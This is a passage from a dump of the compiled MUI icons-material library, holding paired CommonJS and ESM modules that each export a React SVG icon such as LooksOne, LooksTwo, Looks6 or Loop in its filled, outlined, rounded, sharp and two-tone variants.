    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v-2h-2zm8-12H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 6h-3v2h2c1.1 0 2 .9 2 2v2c0 1.11-.9 2-2 2h-2c-1.1 0-2-.89-2-2V9c0-1.1.9-2 2-2h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'Looks6Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks6Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v-2h-2zm8-12H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 6h-3v2h2c1.1 0 2 .9 2 2v2c0 1.11-.9 2-2 2h-2c-1.1 0-2-.89-2-2V9c0-1.1.9-2 2-2h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'Looks6Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks6Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v-2h-2zM21 3H3v18h18zm-6 6h-4v2h4v6H9V7h6z\"\n}), 'Looks6Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks6Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v-2h-2zM21 3H3v18h18zm-6 6h-4v2h4v6H9V7h6z\"\n}), 'Looks6Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks6TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 13h2v2h-2zm8-8H5v14h14zm-4 4h-4v2h2c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2h-2c-1.1 0-2-.89-2-2V9c0-1.11.9-2 2-2h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 9v6c0 1.11.9 2 2 2h2c1.1 0 2-.89 2-2v-2c0-1.11-.9-2-2-2h-2V9h4V7h-4c-1.1 0-2 .89-2 2m4 4v2h-2v-2zm-8 8h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2M5 5h14v14H5z\"\n}, \"1\")], 'Looks6TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks6TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 13h2v2h-2zm8-8H5v14h14zm-4 4h-4v2h2c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2h-2c-1.1 0-2-.89-2-2V9c0-1.11.9-2 2-2h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 9v6c0 1.11.9 2 2 2h2c1.1 0 2-.89 2-2v-2c0-1.11-.9-2-2-2h-2V9h4V7h-4c-1.1 0-2 .89-2 2m4 4v2h-2v-2zm-8 8h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2M5 5h14v14H5z\"\n}, \"1\")], 'Looks6TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksOne.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 14h-2V9h-2V7h4z\"\n}), 'LooksOne');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksOne.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 14h-2V9h-2V7h4z\"\n}), 'LooksOne');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksOneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-7-2h2V7h-4v2h2z\"\n}), 'LooksOneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksOneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-7-2h2V7h-4v2h2z\"\n}), 'LooksOneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksOneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6 14c-.55 0-1-.45-1-1V9h-1c-.55 0-1-.45-1-1s.45-1 1-1h2c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1\"\n}), 'LooksOneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksOneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6 14c-.55 0-1-.45-1-1V9h-1c-.55 0-1-.45-1-1s.45-1 1-1h2c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1\"\n}), 'LooksOneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksOneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-7 14h-2V9h-2V7h4z\"\n}), 'LooksOneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksOneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-7 14h-2V9h-2V7h4z\"\n}), 'LooksOneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksOneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5v14h14zm-5 12h-2V9h-2V7h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 21h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2M5 5h14v14H5zm5 4h2v8h2V7h-4z\"\n}, \"1\")], 'LooksOneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksOneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5v14h14zm-5 12h-2V9h-2V7h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 21h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2M5 5h14v14H5zm5 4h2v8h2V7h-4z\"\n}, \"1\")], 'LooksOneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c-3.86 0-7 3.14-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.86-3.14-7-7-7m0-4C5.93 6 1 10.93 1 17h2c0-4.96 4.04-9 9-9s9 4.04 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'LooksOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c-3.86 0-7 3.14-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.86-3.14-7-7-7m0-4C5.93 6 1 10.93 1 17h2c0-4.96 4.04-9 9-9s9 4.04 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'LooksOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c-3.47 0-6.36 2.54-6.91 5.86-.1.6.39 1.14 1 1.14.49 0 .9-.36.98-.85C7.48 13.79 9.53 12 12 12s4.52 1.79 4.93 4.15c.08.49.49.85.98.85.61 0 1.09-.54.99-1.14C18.36 12.54 15.47 10 12 10m0-4C6.3 6 1.61 10.34 1.05 15.9c-.05.59.41 1.1 1.01 1.1.51 0 .94-.38.99-.88C3.49 11.57 7.34 8 12 8s8.51 3.57 8.96 8.12c.05.5.48.88.99.88.59 0 1.06-.51 1-1.1C22.39 10.34 17.7 6 12 6\"\n}), 'LooksRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c-3.47 0-6.36 2.54-6.91 5.86-.1.6.39 1.14 1 1.14.49 0 .9-.36.98-.85C7.48 13.79 9.53 12 12 12s4.52 1.79 4.93 4.15c.08.49.49.85.98.85.61 0 1.09-.54.99-1.14C18.36 12.54 15.47 10 12 10m0-4C6.3 6 1.61 10.34 1.05 15.9c-.05.59.41 1.1 1.01 1.1.51 0 .94-.38.99-.88C3.49 11.57 7.34 8 12 8s8.51 3.57 8.96 8.12c.05.5.48.88.99.88.59 0 1.06-.51 1-1.1C22.39 10.34 17.7 6 12 6\"\n}), 'LooksRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c-3.86 0-7 3.14-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.86-3.14-7-7-7m0-4C5.93 6 1 10.93 1 17h2c0-4.96 4.04-9 9-9s9 4.04 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'LooksSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c-3.86 0-7 3.14-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.86-3.14-7-7-7m0-4C5.93 6 1 10.93 1 17h2c0-4.96 4.04-9 9-9s9 4.04 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'LooksSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksTwo.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 8c0 1.11-.9 2-2 2h-2v2h4v2H9v-4c0-1.11.9-2 2-2h2V9H9V7h4c1.1 0 2 .89 2 2z\"\n}), 'LooksTwo');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksTwo.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 8c0 1.11-.9 2-2 2h-2v2h4v2H9v-4c0-1.11.9-2 2-2h2V9H9V7h4c1.1 0 2 .89 2 2z\"\n}), 'LooksTwo');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksTwoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-4-4h-4v-2h2c1.1 0 2-.89 2-2V9c0-1.11-.9-2-2-2H9v2h4v2h-2c-1.1 0-2 .89-2 2v4h6z\"\n}), 'LooksTwoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksTwoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-4-4h-4v-2h2c1.1 0 2-.89 2-2V9c0-1.11-.9-2-2-2H9v2h4v2h-2c-1.1 0-2 .89-2 2v4h6z\"\n}), 'LooksTwoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksTwoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 8c0 1.1-.9 2-2 2h-2v2h3c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1v-3c0-1.1.9-2 2-2h2V9h-3c-.55 0-1-.45-1-1s.45-1 1-1h3c1.1 0 2 .9 2 2z\"\n}), 'LooksTwoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksTwoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 8c0 1.1-.9 2-2 2h-2v2h3c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1v-3c0-1.1.9-2 2-2h2V9h-3c-.55 0-1-.45-1-1s.45-1 1-1h3c1.1 0 2 .9 2 2z\"\n}), 'LooksTwoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksTwoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-6 10h-4v2h4v2H9v-6h4V9H9V7h6z\"\n}), 'LooksTwoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksTwoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-6 10h-4v2h4v2H9v-6h4V9H9V7h6z\"\n}), 'LooksTwoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6C5.93 6 1 10.93 1 17h2c0-4.96 4.04-9 9-9s9 4.04 9 9h2c0-6.07-4.93-11-11-11m0 6c2.76 0 5 2.24 5 5h2c0-3.86-3.14-7-7-7s-7 3.14-7 7h2c0-2.76 2.24-5 5-5\"\n}), 'LooksTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6C5.93 6 1 10.93 1 17h2c0-4.96 4.04-9 9-9s9 4.04 9 9h2c0-6.07-4.93-11-11-11m0 6c2.76 0 5 2.24 5 5h2c0-3.86-3.14-7-7-7s-7 3.14-7 7h2c0-2.76 2.24-5 5-5\"\n}), 'LooksTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksTwoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5v14h14zm-4 6c0 1.11-.9 2-2 2h-2v2h4v2H9v-4c0-1.11.9-2 2-2h2V9H9V7h4c1.1 0 2 .89 2 2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 21h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2M5 5h14v14H5zm8 2H9v2h4v2h-2c-1.1 0-2 .89-2 2v4h6v-2h-4v-2h2c1.1 0 2-.89 2-2V9c0-1.11-.9-2-2-2\"\n}, \"1\")], 'LooksTwoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LooksTwoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5v14h14zm-4 6c0 1.11-.9 2-2 2h-2v2h4v2H9v-4c0-1.11.9-2 2-2h2V9H9V7h4c1.1 0 2 .89 2 2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 21h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2M5 5h14v14H5zm8 2H9v2h4v2h-2c-1.1 0-2 .89-2 2v4h6v-2h-4v-2h2c1.1 0 2-.89 2-2V9c0-1.11-.9-2-2-2\"\n}, \"1\")], 'LooksTwoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Loop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'Loop');"
  },
  {
    "path": "packages/mui-icons-material/lib/Loop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'Loop');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoopOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'LoopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoopOutlined.mjs",
